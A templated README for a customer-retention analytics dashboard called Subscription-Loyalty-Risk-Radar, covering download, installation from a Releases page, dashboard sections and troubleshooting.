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πŸ” Analyze subscription loyalty risks with machine learning models and gain insights into customer retention and frequency patterns.

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πŸŽ‰ Subscription-Loyalty-Risk-Radar - Understand Your Customers Better

πŸš€ Getting Started

Welcome to Subscription-Loyalty-Risk-Radar! This tool helps businesses understand customer behavior. It predicts how likely customers are to stay subscribed, how often they shop, and what risks they may face. With an easy-to-use Streamlit dashboard, you can explore insights about your customers in a clear and interactive way.

πŸ“₯ Download the App

Download Subscription-Loyalty-Risk-Radar

To get started, you need to download the application. Click the button above or visit the Releases page below:

Visit the Releases Page

πŸ› οΈ System Requirements

Before installing, make sure your system meets these requirements:

  • Operating System: Windows 10 or later, macOS 10.12 or later, or a recent Linux version.
  • Memory: At least 4 GB of RAM.
  • Storage: At least 500 MB of free disk space.
  • Network: An internet connection for dashboard interactions.

πŸ“₯ Download & Install

  1. Visit the Releases Page Go to the Releases page.

  2. Choose Your Version You will see several versions. Choose the latest version to get the best features and fixes.

  3. Download the File Click on the file that matches your operating system. For example:

    • For Windows, look for a .exe or .zip file.
    • For macOS, look for a .dmg file.
    • For Linux, look for a .tar.gz file.
  4. Install the Application

    • Windows: Double-click the downloaded .exe file and follow the prompts.
    • macOS: Open the .dmg file, then drag the application to your Applications folder.
    • Linux: Extract the .tar.gz file and follow the included instructions.
  5. Run the Application Open the application from your programs list or Applications folder. The Streamlit dashboard will launch in your web browser.

🧭 Navigating the Dashboard

Upon launching the application, the dashboard will greet you. You will find several sections to help you analyze customer data:

  • Subscription Probability: See how likely customers are to remain subscribed.
  • Purchase Frequency: Analyze how often customers make purchases.
  • Loyalty Risk Score: Understand the risk levels for your customer segments.
  • Scenario Simulator: Model different customer scenarios to see potential outcomes.

πŸ“Š Features

  • Customer Insights: Generate detailed reports based on customer behavior.
  • Segmentation Options: Identify different customer groups for targeted strategies.
  • Explainability Features: Understand how predictions are made.
  • Interactive Visuals: Use visual aids to better grasp the data.

πŸ”§ Common Issues & Troubleshooting

If you encounter issues, consider these steps:

  1. Check Your Internet Connection: Ensure you have a stable connection as the app fetches data online.
  2. Update Browser: Make sure you are using an up-to-date version of your browser for the best experience.
  3. Reinstall the Application: Sometimes, a clean reinstall can fix issues.

πŸ“ž Support

For help or feedback, please open an issue in the GitHub repository. Your input is valuable for improving the application.

πŸ”— Additional Resources

  • Documentation: Explore further details in the GitHub Wiki.
  • Community Discussions: Join discussions and share insights with others in the community here.

Thank you for using Subscription-Loyalty-Risk-Radar. Enjoy analyzing your customer data!